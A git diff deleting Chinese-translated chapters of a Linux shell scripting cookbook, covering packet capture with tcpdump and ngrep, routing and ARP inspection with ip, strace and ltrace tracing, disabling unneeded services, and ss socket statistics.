-`-X`标志将在输出中包含数据包数据。 - -host 关键字可以与端口信息相结合,将报告限制为进出给定主机的数据。 - -这两个测试与**和**连接以执行布尔**和**操作,并且它们仅报告去往或来自 noucorp.com 和/或`HTTP`服务器的那些数据包。示例输出显示了`GET`请求的开始和服务器的回复: - -```sh -$ tcpdump -X -r /tmp/tcpdump.raw host noucorp.com and port http -reading from file /tmp/tcpdump.raw, link-type EN10MB (Ethernet) -11:12:04.708905 IP 192.168.1.44.35652 > noucorp.com.http: Flags [P.], seq 2939551893:2939552200, ack 1031497919, win 501, options [nop,nop,TS val 2063464654 ecr 28236429], length 307 - 0x0000: 4500 0167 1e54 4000 4006 70a5 c0a8 012c E..g.T@.@.p...., - 0x0010: 98a0 5023 8b44 0050 af36 0095 3d7b 68bf ..P#.D.P.6..={h. - 0x0020: 8018 01f5 abf1 0000 0101 080a 7afd f8ce ............z... - 0x0030: 01ae da8d 4745 5420 2f20 4854 5450 2f31 ....GET./.HTTP/1 - 0x0040: 2e31 0d0a 486f 7374 3a20 6e6f 7563 6f72 .1..Host:.noucor - 0x0050: 702e 636f 6d0d 0a55 7365 722d 4167 656e p.com..User-Agen - 0x0060: 743a 204d 6f7a 696c 6c61 2f35 2e30 2028 t:.Mozilla/5.0.( - 0x0070: 5831 313b 204c 696e 7578 2078 3836 5f36 X11;.Linux.x86_6 - 0x0080: 343b 2072 763a 3435 2e30 2920 4765 636b 4;.rv:45.0).Geck - 0x0090: 6f2f 3230 3130 3031 3031 2046 6972 6566 o/20100101.Firef - 0x00a0: 6f78 2f34 352e 300d 0a41 6363 6570 743a ox/45.0..Accept: -... -11:12:04.731343 IP noucorp.com.http > 192.168.1.44.35652: Flags [.], seq 1:1449, ack 307, win 79, options [nop,nop,TS val 28241838 ecr 2063464654], length 1448 - 0x0000: 4500 05dc 0491 4000 4006 85f3 98a0 5023 E.....@.@.....P# - 0x0010: c0a8 012c 0050 8b44 3d7b 68bf af36 01c8 ...,.P.D={h..6.. - 0x0020: 8010 004f a7b4 0000 0101 080a 01ae efae ...O............ - 0x0030: 7afd f8ce 4854 5450 2f31 2e31 2032 3030 z...HTTP/1.1.200 - 0x0040: 2044 6174 6120 666f 6c6c 6f77 730d 0a44 .Data.follows..D - 0x0050: 6174 653a 2054 6875 2c20 3039 2046 6562 ate:.Thu,.09.Feb - 0x0060: 2032 3031 3720 3136 3a31 323a 3034 2047 .2017.16:12:04.G - 0x0070: 4d54 0d0a 5365 7276 6572 3a20 5463 6c2d MT..Server:.Tcl- - 0x0080: 5765 6273 6572 7665 722f 332e 352e 3220 Webserver/3.5.2. - -``` - -# 它是如何工作的... - -`tcpdump`应用设置一个混杂标志,使网卡将所有数据包传递给处理器。它这样做,而不是只过滤属于该主机的内容。此标志允许记录主机连接到的物理网络上的任何数据包,而不仅仅是发往该主机的数据包。 - -该应用用于跟踪过载网段、产生意外流量的主机、网络循环、网卡故障、数据包格式错误等问题。 - -通过`-w`和`-r`选项,`tcpdump`以原始格式保存数据,允许您以后作为普通用户检查数据。例如,如果凌晨 3:00 网络数据包冲突过多,可以设置`cron`作业在凌晨 3:00 运行`tcpdump`,然后在正常工作时间检查数据。 - -# 使用 ngrep 查找数据包 - -`ngrep`应用是`grep`和`tcpdump`的杂交。它监控网络端口并显示符合模式的数据包。您必须拥有超级用户权限才能运行`ngrep`。 - -# 准备好了 - -您可能没有安装`ngrep`包。但是,它可以与大多数软件包管理器一起安装: - -```sh -# apt-get install ngrep -# yum install ngrep - -``` - -# 怎么做... - -`ngrep`应用接受要观察的模式(如`grep`)、过滤器字符串(如`tcpdump`)和许多命令行标志来微调其行为。 - -以下示例监控端口`80`上的流量,并报告其中包含字符串`Linux`的任何数据包: - -```sh -$> ngrep -q -c 64 Linux port 80 -interface: eth0 (192.168.1.0/255.255.255.0) -filter: ( port 80 ) and (ip or ip6) -match: Linux - -T 192.168.1.44:36602 -> 152.160.80.35:80 [AP] - GET /Training/linux_detail/ HTTP/1.1..Host: noucorp.com..Us - er-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20 - 100101 Firefox/45.0..Accept: text/html,application/xhtml+xm - l,application/xml;q=0.9,*/*;q=0.8..Accept-Language: en-US,e - n;q=0.5..Accept-Encoding: gzip, deflate..Referer: http://no - ucorp.com/Training/..Connection: keep-alive..Cache-Control: - max-age=0.... - -``` - -`-q`标志指示`ngrep`只打印标题和有效载荷。 - -`-c`标志定义了用于有效载荷数据的列数。默认情况下,该数字为 4,这对于基于文本的数据包没有用。 - -标志之后是匹配字符串(Linux),后面是使用与`tcpdump`相同的过滤语言的过滤表达式。 - -# 它是如何工作的... - -`ngrep`应用还设置混杂标志,允许它嗅探所有可见的数据包,无论它们是否与主机相关。 - -前面的例子显示了所有的 HTTP 流量。如果主机系统在无线网络上或通过集线器(而不是交换机)连接,它将显示所有活动用户产生的所有网络流量。 - -# 还有更多... - -`ngrep`中的`-x`选项显示十六进制转储和可打印形式。结合这个和`-X`可以让你搜索一个二进制字符串(也许是一个病毒特征或者一些已知的模式)。 - -本示例观察来自 HTTPS 连接的二进制流: - -```sh -# ngrep -xX '1703030034' port 443 -interface: eth0 (192.168.1.0/255.255.255.0) -filter: ( port 443 ) and (ip or ip6) -match: 0x1703030034 -################################################# -T 172.217.6.1:443 -> 192.168.1.44:40698 [AP] - 17 03 03 00 34 00 00 00 00 00 00 00 07 dd b0 02 ....4........... - f5 38 07 e8 24 08 eb 92 3c c6 66 2f 07 94 8b 25 .8..$...<.f/...% - 37 b3 1c 8d f4 f0 64 c3 99 9e b3 45 44 14 64 23 7.....d....ED.d# - 80 85 1b a1 81 a3 d2 7a cd .......z. - -``` - -哈希标记指示扫描的数据包;它们不包括目标模式。`ngrep`还有很多选择;完整列表请阅读`man`页面。 - -# 用 ip 跟踪网络路由 - -`ip`实用程序报告有关网络状态的信息。它可以告诉您发送和接收了多少数据包,发送了什么类型的数据包,数据包是如何路由的,等等。 - -# 准备好了 - -第 8 章、*老男孩网络*中描述的`netstat`实用程序是所有 Linux 发行版的标准;然而,它现在正被更高效的公用事业所取代,例如`ip`。这些新的实用程序包含在`iproute2`包中,该包已经安装在大多数现代发行版上。 - -# 怎么做... - -`ip`实用程序有许多功能。本食谱将讨论一些对追踪网络行为有用的方法。 - -# 使用 ip 路由报告路由 - -当数据包没有到达目的地(`ping`或`traceroute`失败)时,有经验的用户首先检查的是电缆。接下来要检查的是路由表。如果一个系统缺少默认网关(`0.0.0.0`),它将只能在其物理网络上找到机器。如果您有多个网络在同一条线路上运行,您将需要添加路由,以允许连接到一个网络的机器向另一个网络发送数据包。 - -`ip route`命令报告已知路线: - -```sh -$ ip route -10.8.0.2 dev tun0 proto kernel scope link src 10.8.0.1 -192.168.87.0/24 dev vmnet1 proto kernel scope link src 192.168.87.1 -192.168.1.0/24 dev eth0 proto kernel scope link src 192.168.1.44 -default via 192.168.1.1 dev eth0 proto static - -``` - -`ip route`报告用空格分隔。在第一个元素之后,它由一组键和值组成。 - -前面代码的第一行将`10.8.0.2`地址描述为使用内核协议的隧道设备,该地址仅在该隧道设备上有效。第二行描述用于与虚拟机通信的`192.168.87.x`网络。第三条线路是本系统的主网,与`/dev/eth0`相连。最后一行定义默认路线,通过`eth0`到达`192.168.1.1`。 - -`ip route`报告的按键包括: - -* `via`:这是指下一跳的地址。 -* `proto`:这是路由的协议标识。内核协议是由内核安装的路由,而静态路由由管理员定义。 -* `scope`:指地址有效的范围。链接范围仅在此设备上有效。 -* `dev`:这是与地址关联的设备。 - -# 跟踪最近的 IP 连接和 ARP 表 - -`ip neighbor`命令报告 IP 地址、设备和硬件媒体访问控制地址之间的已知关系。它报告关系是最近重新建立的还是已经过时: - -```sh -$> ip neighbor -192.168.1.1 dev eth0 lladdr 2c:30:33:c9:af:3e STALE -192.168.1.4 dev eth0 lladdr 00:0a:e6:11:c7:dd STALE -172.16.183.138 dev vmnet8 lladdr 00:50:56:20:3d:6c STALE - -192.168.1.2 dev eth0 lladdr 6c:f0:49:cd:45:ff REACHABLE - -``` - -`ip neighbor`命令的输出显示该系统和默认网关之间,或者该系统和位于`192.168.1.4`的主机之间最近没有任何活动。这也表明虚拟机最近没有任何活动,`192.168.1.2`的主机最近已连接。 - -前面输出中`REACHABLE`的当前状态表示`arp`表是最新的,主机认为知道远程系统的 MAC 地址。这里`STALE`的值不表示系统不可达;这仅仅意味着`arp`表中的值已经过期。当您的系统尝试使用这些路由之一时,它会首先发送一个 ARP 请求来验证与该 IP 地址相关联的 MAC 地址。 - -只有当硬件改变或设备重新分配时,媒体访问控制地址和 ip 地址之间的关系才应该改变。 - -如果网络上的设备显示间歇性连接,这可能意味着两台设备被分配了相同的 IP 地址。也可能是两台 DHCP 服务器正在运行,或者有人手动分配了一个已经在使用的地址。 - -在两台设备具有相同 IP 地址的情况下,给定 IP 地址的报告 MAC 地址将会间隔变化,`ip neighbor`命令将有助于追踪配置错误的设备。 - -# 追踪路线 - -第 8 章*中讨论的`traceroute`命令老男孩网络*跟踪数据包从当前主机到其目的地的整个路径。`route get`命令报告当前机器的下一跳: - -```sh -$ ip route get 172.16.183.138 -172.16.183.138 dev vmnet8 src 172.16.183.1 -cache mtu 1500 hoplimit 64 - -``` - -前面的返回显示到虚拟机的路由是通过位于`172.16.183.1`的 vmnet8 接口。如果发送到此站点的数据包大于 1,500 字节,将被拆分,并在 64 跳后丢弃: - -```sh -$ in route get 148.59.87.90 -148.59.87.90 via 192.168.1.1 dev eth0 src 192.168.1.3 -cache mtu 1500 hoplimit 64 - -``` - -要到达互联网上的某个地址,数据包需要通过默认网关离开本地网络,而通往该网关的链路是位于`192.168.1.3`的主机的`eth0`设备。 - -# 它是如何工作的... - -`ip`命令在用户空间和内核表中运行。使用此命令,普通用户可以检查网络配置,而超级用户可以配置网络。 - -# 用 strace 跟踪系统调用 - -一台 GNU/Linux 计算机一次可能运行数百个任务,但它将只拥有一个网络接口、一个磁盘驱动器、一个键盘等等。Linux 内核分配这些有限的资源,并控制任务如何访问它们。例如,这可以防止两个任务在磁盘文件中意外混合数据。 - -当您运行一个应用时,它使用**用户空间库**(功能如`printf`和`fopen`)和系统空间库(功能如`write`和`open`)的组合。当您的程序调用`printf`(或脚本调用`echo`命令)时,它调用用户空间库调用`printf`来格式化输出字符串;随后是对`write`函数的系统空间调用。系统调用确保一次只有一个任务可以访问资源。 - -在一个完美的世界里,所有的计算机程序都会毫无问题地运行。在一个近乎完美的世界里,你会有源代码,程序会在调试支持下编译,并且会一直失败。 - -在现实世界中,你有时不得不处理没有源代码的程序,并且它会间歇性地失败。除非你给开发人员一些数据,否则他们无法帮助你。 - -Linux `strace`命令报告应用进行的系统调用;这可以帮助我们理解它在做什么,即使我们没有源代码。 - -# 准备好 - -`strace`命令作为开发包的一部分安装;它也可以单独安装: - -```sh -$ sudo apt-get install strace -$ sudo yum install strace - -``` - -# 怎么做... - -理解`strace`的一种方法是写一个短的 C 程序,用`strace`看看系统调用它做什么。 - -这个测试程序分配内存,使用内存,打印一条短消息,释放内存,然后退出。 - -`strace`输出显示该程序调用的系统功能: - -```sh -$ cat test.c -#include -#include -#include - -main () { - char *tmp; - tmp=malloc(100); - strcat(tmp, "testing"); - printf("TMP: %s\n", tmp); - free(tmp); - exit(0); -} -$ gcc test.c -$ strace ./a.out -execve("./a.out", ["./a.out"], [/* 51 vars */]) = 0 -brk(0) = 0x9fc000 -mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc85c7f5000 -access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) -open("/etc/ld.so.cache", O_RDONLY) = 3 -fstat(3, {st_mode=S_IFREG|0644, st_size=95195, ...}) = 0 -mmap(NULL, 95195, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fc85c7dd000 -close(3) = 0 -open("/lib64/libc.so.6", O_RDONLY) = 3 -read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0000\356\1\16;\0\0\0"..., 832) = 832 -fstat(3, {st_mode=S_IFREG|0755, st_size=1928936, ...}) = 0 -mmap(0x3b0e000000, 3750184, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x3b0e000000 -mprotect(0x3b0e18a000, 2097152, PROT_NONE) = 0 -mmap(0x3b0e38a000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x18a000) = 0x3b0e38a000 -mmap(0x3b0e390000, 14632, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x3b0e390000 -close(3) = 0 -mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc85c7dc000 -mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc85c7db000 -mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc85c7da000 -arch_prctl(ARCH_SET_FS, 0x7fc85c7db700) = 0 -mprotect(0x3b0e38a000, 16384, PROT_READ) = 0 -mprotect(0x3b0de1f000, 4096, PROT_READ) = 0 -munmap(0x7fc85c7dd000, 95195) = 0 -brk(0) = 0x9fc000 -brk(0xa1d000) = 0xa1d000 -fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 11), ...}) = 0 -mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc85c7f4000 -write(1, "TMP: testing\n", 13) = 13 -exit_group(0) = ? -+++ exited with 0 +++ - -``` - -# 它是如何工作的... - -第一行是任何应用的标准启动命令。`execve`调用是初始化新的可执行文件的系统调用。`brk`调用返回当前的内存地址,`mmap`调用为动态库和其他加载内务处理的应用分配 4,096 字节的内存。 - -尝试访问`ld.so.preload`失败,因为`ld.so.preload`是预加载库的钩子。大多数生产系统都不需要它。 - -`ld.so.cache`文件是`/etc/ld.so,conf.d`的内存驻留副本,其中包含加载动态库的路径。这些值保存在内存中,以减少启动程序的开销。 - -带有`mmap`、`mprotect`、`arch`、`_`、`prctl`和`munmap`调用的下一行继续将库和映射设备加载到内存中。 - -对`brk`的两次调用由程序的`malloc`调用调用。这将从堆中分配 100 个字节。 - -`strcat`调用是一个不产生任何系统调用的用户空间函数。 - -`printf`调用不生成格式化数据的系统调用,而是调用将格式化后的字符串发送给`stdout`。 - -`fstat`和`mmap`调用加载和初始化`stdout`设备。这些调用在向`stdout`产生输出的程序中只发生一次。 - -`write`系统调用将字符串发送到`stdout`。 - -最后,`exit_group`调用退出程序,释放资源,并终止与可执行文件相关的所有线程。 - -请注意,没有与释放内存相关的`brk`调用。`malloc`和`free`功能是管理任务内存的用户空间功能。只有当程序的整体内存占用发生变化时,它们才会调用`brk`函数。当你的程序分配 *N* 个位时,它需要将那么多字节添加到它的可用内存中。当它释放该块时,内存被标记为可用,但它仍然是该程序内存池的一部分。下一个`malloc`使用可用内存空间池中的内存,直到耗尽。此时,另一个`brk`调用向程序的内存池添加更多内存。 - -# 用 ltrace 跟踪动态库函数 - -了解被调用的用户空间库函数和了解被调用的系统函数一样有用。`ltrace`命令提供了与`strace`类似的功能;但是,它跟踪用户空间库调用,而不是系统调用。 - -# 准备好 - -使用开发工具安装`ltrace`命令。 - -# 怎么做... - -要跟踪用户空间动态库调用,调用`strace`命令,后跟您想要跟踪的命令: - -```sh -$ ltrace myApplication - -``` - -下一个例子是一个带有子程序的程序: - -```sh -$ cat test.c -#include -#include -#include - -int print (char *str) { - printf("%s\n", str); -} -main () { - char *tmp; - tmp=malloc(100); - strcat(tmp, "testing"); - print(tmp); - free(tmp); - exit(0); -} -$ gcc test.c -$ ltrace ./a.out -(0, 0, 603904, -1, 0x1f25bc2) = 0x3b0de21160 -__libc_start_main(0x4005fe, 1, 0x7ffd334a95f8, 0x400660, 0x400650 -malloc(100) = 0x137b010 -strcat("", "testing") = "testing" -puts("testing") = 8 -free(0x137b010) = -exit(0 -+++ exited (status 0) +++ - -``` - -在`ltrace`输出中,我们看到对动态链接的`strcat`的调用;但是,我们没有看到静态链接的局部函数,即`print`。对`printf`的调用被简化为对`puts`的调用。显示对`malloc`和`free`的调用,因为它们是用户空间函数调用。 - -# 它是如何工作的... - -`ltrace`和`strace`实用程序使用`ptrace`函数重写**过程链接表** ( **PLT** ),该表在动态库调用和被调用函数的实际内存地址之间进行映射。这意味着`ltrace`可以捕获任何动态链接的函数调用,但不能捕获静态链接的函数。 - -# 还有更多... - -`ltrace`和`strace`命令很有用,但是同时跟踪用户空间和系统空间的函数调用会很好。`ltrace`的`-S`选项可以做到这一点。下一个例子显示了前一个可执行文件的`ltrace -S`输出: - -```sh -$> ltrace -S ./a.out -SYS_brk(NULL) = 0xa9f000 -SYS_mmap(0, 4096, 3, 34, 0xffffffff) = 0x7fcdce4ce000 -SYS_access(0x3b0dc1d380, 4, 0x3b0dc00158, 0, 0) = -2 -SYS_open("/etc/ld.so.cache", 0, 01) = 4 -SYS_fstat(4, 0x7ffd70342bc0, 0x7ffd70342bc0, 0, 0xfefefefefefefeff) = 0 -SYS_mmap(0, 95195, 1, 2, 4) = 0x7fcdce4b6000 -SYS_close(4) = 0 -SYS_open("/lib64/libc.so.6", 0, 00) = 4 -SYS_read(4, "\177ELF\002\001\001\003", 832) = 832 -SYS_fstat(4, 0x7ffd70342c20, 0x7ffd70342c20, 4, 0x7fcdce4ce640) = 0 -SYS_mmap(0x3b0e000000, 0x393928, 5, 2050, 4) = 0x3b0e000000 -SYS_mprotect(0x3b0e18a000, 0x200000, 0, 1, 4) = 0 -SYS_mmap(0x3b0e38a000, 24576, 3, 2066, 4) = 0x3b0e38a000 -SYS_mmap(0x3b0e390000, 14632, 3, 50, 0xffffffff) = 0x3b0e390000 -SYS_close(4) = 0 -SYS_mmap(0, 4096, 3, 34, 0xffffffff) = 0x7fcdce4b5000 -SYS_mmap(0, 4096, 3, 34, 0xffffffff) = 0x7fcdce4b4000 -SYS_mmap(0, 4096, 3, 34, 0xffffffff) = 0x7fcdce4b3000 -SYS_arch_prctl(4098, 0x7fcdce4b4700, 0x7fcdce4b3000, 34, 0xffffffff) = 0 -SYS_mprotect(0x3b0e38a000, 16384, 1, 0x3b0de20fd8, 0x1f25bc2) = 0 -SYS_mprotect(0x3b0de1f000, 4096, 1, 0x4003e0, 0x1f25bc2) = 0 -(0, 0, 987392, -1, 0x1f25bc2) = 0x3b0de21160 -SYS_munmap(0x7fcdce4b6000, 95195) = 0 -__libc_start_main(0x4005fe, 1, 0x7ffd703435c8, 0x400660, 0x400650 -malloc(100 -SYS_brk(NULL) = 0xa9f000 -SYS_brk(0xac0000) = 0xac0000 -<... malloc resumed> ) = 0xa9f010 -strcat("", "testing") = "testing" -puts("testing" -SYS_fstat(1, 0x7ffd70343370, 0x7ffd70343370, 0x7ffd70343230, 0x3b0e38f040) = 0 -SYS_mmap(0, 4096, 3, 34, 0xffffffff) = 0x7fcdce4cd000 -SYS_write(1, "testing\n", 8) = 8 -<... puts resumed> ) = 8 -free(0xa9f010) = -exit(0 -SYS_exit_group(0 -+++ exited (status 0) +++ - -``` - -这显示了与`strace`示例相同类型的启动调用(`sbrk`、`mmap`等)。 - -当用户空间函数调用系统空间函数时(如`malloc`并发出调用),显示显示用户空间函数被中断(`malloc(100 )`,然后在系统调用完成后恢复`(<... malloc resumed>)`。 - -请注意,`malloc`调用需要将控制传递给`sbrk`来为应用分配更多内存。但是,`free`调用不会收缩应用;它只是释放了内存供这个应用将来使用。 \ No newline at end of file diff --git a/docs/linux-shell-script-cb/12.md b/docs/linux-shell-script-cb/12.md deleted file mode 100644 index ea96c26f..00000000 --- a/docs/linux-shell-script-cb/12.md +++ /dev/null @@ -1,623 +0,0 @@ -# 十二、调整 Linux 系统 - -在本章中,我们将介绍以下食谱: - -* 确定服务 -* 用`ss`采集插座数据 -* 使用`dstat`收集系统输入/输出 -* 用`pidstat`识别资源猪 -* 用`sysctl`调优 Linux 内核 -* 用配置文件调优 Linux 系统 -* 使用`nice`命令更改调度程序优先级 - -# 介绍 - -没有一个系统运行得像我们需要的那样快,任何计算机的性能都可以提高。 - -我们可以通过关闭未使用的服务、调整内核参数或添加新硬件来提高系统的性能。 - -调优系统的第一步是了解需求是什么,以及它们是否得到满足。不同类型的应用有不同的关键需求。要问自己的问题包括: - -* 中央处理器是这个系统的关键资源吗?进行工程模拟的系统比其他资源需要更多的 CPU 周期。 -* 网络带宽对该系统至关重要吗?文件服务器的计算量很小,但可以使其网络容量饱和。 -* 磁盘访问速度对该系统至关重要吗?文件服务器或数据库服务器对磁盘的要求比计算引擎高。 -* 内存是这个系统的关键资源吗?所有系统都需要内存,但数据库服务器通常会构建大型内存表来执行查询,而文件服务器使用更大的内存进行磁盘缓存会更高效。 -* 你的系统被黑了吗?系统可能会突然变得无响应,因为它运行着意外的恶意软件。这在 Linux 机器上并不常见,但是一个有很多用户的系统(比如大学或商业网络)很容易受到暴力密码攻击。 - -接下来要问的问题是:我如何衡量使用率?了解一个系统是如何被使用的将会引导你找到问题,但可能不会引导你找到答案。文件服务器会将经常访问的文件缓存在内存中,因此内存太少的文件可能会受到磁盘/内存的限制,而不是网络的限制。 - -Linux 有分析系统的工具。很多都在[第 8 章](08.html)*老男孩网*[第 9 章](09.html)*戴上班长帽*[第 11 章](11.html)*追查线索*中讨论过。本章将介绍更多监控工具。 - -这里列出了子系统和工具来检查它们。本书已经讨论了许多(但不是全部)这些工具。 - -* CPU: `top`、`dstat`、`perf`、`ps`、`mpstat`、`strace`、`ltrace` -* 网络:`netstat`、`ss`、`iotop`、`ip`、`iptraf`、`nicstat`、`ethtool`、`lsof` -* 盘面:`ftrace`、`iostat`、`dstat`、`blktrace` -* RAM: top,`dstat`、`perf`、`vmstat`、`swapon` - -其中许多工具是标准 Linux 发行版的一部分。其他的可以用你的包管理器加载。 - -# 确定服务 - -一个 Linux 系统一次可以运行数百个任务。其中大多数是操作系统环境的一部分,但是您可能会发现您正在运行一两个不需要的守护程序。 - -Linux 发行版支持启动守护程序和服务的三种实用程序之一。传统的`SysV`系统使用`/etc/init.d`中的脚本。较新的`systemd`守护进程使用相同的`/etc/init.d`脚本,并使用`systemctl`调用。有些发行版使用 Upstart,它将配置脚本存储在`/etc/init`中。 - -SysV `init`系统正在逐步淘汰,取而代之的是`systemd`套件。`upstart`实用程序是由 Ubuntu 开发和使用的,但是随着 14.04 版本的发布,它被`systemd`取代了。本章将集中讨论`systemd`,因为这是大多数发行版使用的系统。 - -# 准备好 - -第一步是确定您的系统是使用 SysV `init`调用、`systemd`还是`upstart`。 - -Linux/Unix 系统必须有一个作为`PID 1`运行的初始化过程。这个进程执行 fork 和 exec 来启动每隔一个进程。`ps`命令可能会告诉您哪个初始化进程正在运行: - -```sh - $ ps -p 1 -o cmd - /lib/system/systemd - -``` - -在前面的例子中,系统肯定是在运行`systemd`。但是,在一些发行版上,SysV `init`程序是`sym-linked`到实际的`init`过程,`ps`将始终显示`/sbin/init`,无论是 SysV `init`、`upstart`还是实际使用的`systemd`: - -```sh - $ ps -p 1 -o cmd - /sbin/init - -``` - -`ps`和`grep`命令给出了更多的线索: - -```sh - $ ps -eaf | grep upstart - -``` - -或者,它们可以这样使用: - -```sh - ps -eaf | grep systemd - -``` - -如果这些命令中的任何一个返回任务,如`upstart-udev-bridge`或`systemd/systemd`,系统分别运行`upstart`或`systemd`。如果没有匹配,那么您的系统可能正在运行 SysV `init`实用程序。 - -# 怎么做... - -大多数发行版都支持`service`命令。`-status-all`选项将报告在`/etc/init.d`中定义的所有服务的当前状态。输出格式因发行版而异: - -```sh - $> service -status-all - -``` - -Debian: - -```sh - [ + ] acpid - [ - ] alsa-utils - [ - ] anacron - [ + ] atd - [ + ] avahi-daemon - [ - ] bootlogs - [ - ] bootmisc.sh -... - -``` - -CentOS: - -```sh -abrt-ccpp hook is installed -abrtd (pid 4009) is running... -abrt-dump-oops is stopped -acpid (pid 3674) is running... -atd (pid 4056) is running... -auditd (pid 3029) is running... -... - -``` - -`grep`命令将输出减少到仅运行任务: - -Debian: - -```sh - $ service -status-all | grep + - -``` - -CentOS: - -```sh - $ service -status-all | grep running - -``` - -您应该禁用任何不必要的服务。这降低了系统的负载,提高了系统的安全性。 - -要检查的服务包括: - -* `smbd`,nmbd:这些是用来在 Linux 和 Windows 系统之间共享资源的 Samba 守护进程。 -* `telnet`:这是旧的,不安全的登录程序。除非有压倒性的需求,否则使用 SSH。 -* `ftp`:这是旧的、不安全的文件传输协议。请改用 SSH 和 scp。 -* `rlogin`:这是远程登录。SSH 更安全。 -* `rexec`:这是远程执行。SSH 更安全。 -* `automount`:如果你没有使用 NFS 或者桑巴,你可能不需要这个。 -* `named`:这个守护进程提供**域名服务** ( **DNS** )。只有在系统定义本地名称和 IP 地址的情况下才有必要。你不需要它来解析名字和上网。 -* `lpd`:**线路打印机守护程序**允许其他系统使用该系统的打印机。如果这不是打印服务器,则不需要此服务。 -* `nfsd`:这是**网络文件系统**守护进程。它允许远程机器挂载这台计算机的磁盘分区。如果这不是文件服务器,您可能不需要此服务。 -* `portmap`:这是 NFS 支持的一部分。如果系统没有使用 NFS,你就不需要这个。 -* `mysql`:MySQL 应用是一个数据库服务器。它可能被你的网络服务器使用。 -* `httpd`:这是 HTTP 守护进程。它有时作为一套 T2 服务器系统软件包的一部分安装。 - -根据您的系统是 Redhat 还是 Debian 派生的,以及它是运行`systemd`、SysV 还是暴发户,有几种潜在的方法来禁用不必要的服务。所有这些命令都必须以 root 权限运行。 - -# 基于系统的计算机 - -`systemctl`命令启用和禁用服务。语法如下: - -```sh - systemctl enable SERVICENAME - -``` - -或者,也可以如下所示: - -```sh - systemctl disable SERVICENAME - -``` - -要禁用 FTP 服务器,请使用以下命令: - -```sh - # systemctl disable ftp - -``` - -# 基于红帽的计算机 - -`chkconfig`实用程序为在`/etc/rc#.d`中使用 SysV 风格的初始化脚本提供了一个前端。`-del`选项禁用服务,而`-add`选项启用服务。请注意,要添加服务,初始化文件必须已经存在。 - -语法如下: - -```sh - # chkconfig -del SERVICENAME - # chkconfig -add SERVICENAME - -``` - -要禁用 HTTPD 守护程序,请使用以下命令: - -```sh - # chkconfig -del httpd - -``` - -# 基于 Debian 的计算机 - -基于 Debian 的系统提供了`update-rc.d`实用程序来控制 SysV 风格的初始化脚本。`update-rc.d`命令支持`enable`和`disable`作为子命令: - -要禁用 telnet 守护程序,请使用以下命令: - -```sh - # update-rc.d disable telnetd - -``` - -# 还有更多 - -这些技术将找到已经用 SysV 或 systemd 初始化脚本从根启动的服务。但是,服务可以手动启动,或者在引导脚本中启动,或者使用`xinetd`。 - -`xinetd`守护进程的工作方式类似于 init:它启动服务。与 init 不同的是,`xinitd`守护进程只在被请求时才启动服务。对于 SSH 之类的服务,不经常需要,一旦启动就会运行很长时间,这样可以减少系统负载。像`httpd`这样经常执行小动作(服务网页)的服务,启动一次并保持运行效率更高。 - -**xinet** 的配置文件为`/etc/xinetd.conf`。单个服务文件通常存储在`/etc/xinetd.d`中。 - -各个服务文件如下所示: - -```sh -# cat /etc/xinetd.d/talk -# description: The talk server accepts talk requests for chatting \ -# with users on other systems. -service talk -{ - flags = IPv4 - disable = no - socket_type = dgram - wait = yes - user = nobody - group = tty - server = /usr/sbin/in.talkd -} - -``` - -通过更改`disable`字段的值,可以启用或禁用服务。如果`disable`为`no`,则启用该服务。如果禁用为`yes`,则服务被禁用。 - -编辑服务文件后,必须重新启动`xinetd`: - -```sh - # cd /etc/init.d - # ./inetd restart - -``` - -# 用 ss 收集套接字数据 - -由`init`和`xinetd`启动的守护程序可能不是系统上运行的唯一服务。守护程序可以通过`init`本地文件`(/etc/rc.d/rc.local`、`crontab`条目中的命令启动,甚至可以由具有权限的用户启动。 - -`ss`命令返回套接字统计信息,包括使用套接字的服务和当前套接字状态。 - -# 准备好了 - -`ss`实用程序包含在已经安装在大多数现代发行版上的`iproute2`包中。 - -# 怎么做... - -`ss`命令比`netstat`命令显示更多的信息。这些食谱将介绍它的一些特点。 - -# 显示 tcp 套接字的状态 - -对于每个 HTTP 访问、每个 SSH 会话等,都会打开一个`tcp`套接字连接。`-t`选项报告 TCP 连接的状态: - -```sh - $ ss -t - ESTAB 0 0 192.168.1.44:740 192.168.1.2:nfs - ESTAB 0 0 192.168.1.44:35484 192.168.1.4:ssh - - CLOSE-WAIT 0 0 192.168.1.44:47135 23.217.139.9:http - -``` - -这个例子显示了一个连接到 IP 地址`192.168.1.2`的 NFS 服务器和一个到`192.168.1.4`的 SSH 连接。 - -`CLOSE-WAIT`插座状态表示`FIN`信号已经发出,但是插座还没有完全闭合。套接字可以永远保持这种状态(或者直到您重新启动)。终止拥有套接字的进程可能会释放套接字,但这并不能保证。 - -# 跟踪监听端口的应用 - -您系统上的一项服务将在`listen`模式下打开一个套接字,以接受来自远程站点的网络连接。SSHD 应用这样做是为了监听 SSH 连接,http 服务器这样做是为了接受 HTTP 请求,等等。 - -如果你的系统被黑了,它可能会有一个新的应用监听它的主人的指令。 - -`ss`的`-l`选项将列出在`listen`模式下打开的插座。`-u`选项指定报告 UDP 套接字。一个`-t`选项报告 TCP 套接字。 - -此命令显示了 Linux 工作站上侦听 UDP 套接字的子集: - -```sh -$ ss -ul -State Recv-Q Send-Q Local Address:Port Peer Address:Port -UNCONN 0 0 *:sunrpc *:* -UNCONN 0 0 *:ipp *:* -UNCONN 0 0 *:ntp *:* -UNCONN 0 0 127.0.0.1:766 *:* 